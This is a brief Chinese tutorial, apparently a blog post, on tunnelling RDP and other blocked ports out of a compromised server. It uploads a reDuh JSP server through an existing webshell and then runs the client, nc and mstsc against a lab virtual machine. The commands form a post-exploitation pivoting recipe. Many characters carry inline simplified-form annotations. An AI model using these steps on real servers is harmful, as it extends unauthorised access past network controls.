0x00 reduh
經(jīng)常我們拿到一個shell后,發(fā)現(xiàn)只將目標(biāo)服務(wù)器的80端口映射到公網(wǎng)ip地址,無法訪問其他端口,如3389或3306等
這時可以通過reduh做一個跳板,將特定端口通過開放的80端口從內(nèi)網(wǎng)中轉(zhuǎn)發(fā)出來
0x00 So Easy
首先我們需要一個webshell,這里我直接在虛擬機(jī)里面寫一個了

image.png
然后通過webshell上傳reduh的服務(wù)端,在
\reDuhServers\目錄下
image.png
這里用的jsp的環(huán)境就上傳一個jsp的服務(wù)端

image.png
上傳后的地址為
http://192.168.49.154:8080/reDuh.jsp
然后本地通過命令行執(zhí)行reduh的客戶端(位于\reDuhClient\dist\目錄下)
java -jar reDuhClient.jar http://192.168.49.154:8080/reDuh.jsp

image.png
然后通過nc監(jiān)聽本地1010端口
nc.exe -nvv 127.0.0.1 1010

image.png
然后創(chuàng)建隧道,以將3389端口為例
[createTunnel]6666:127.0.0.1:3389

image.png
然后本地通過mstsc連接
127.0.0.1:6666
image.png
這時能看到reduh本地客戶端產(chǎn)生了流量

image.png

image.png
這樣就可以通過webshell建立其他端口的通信隧道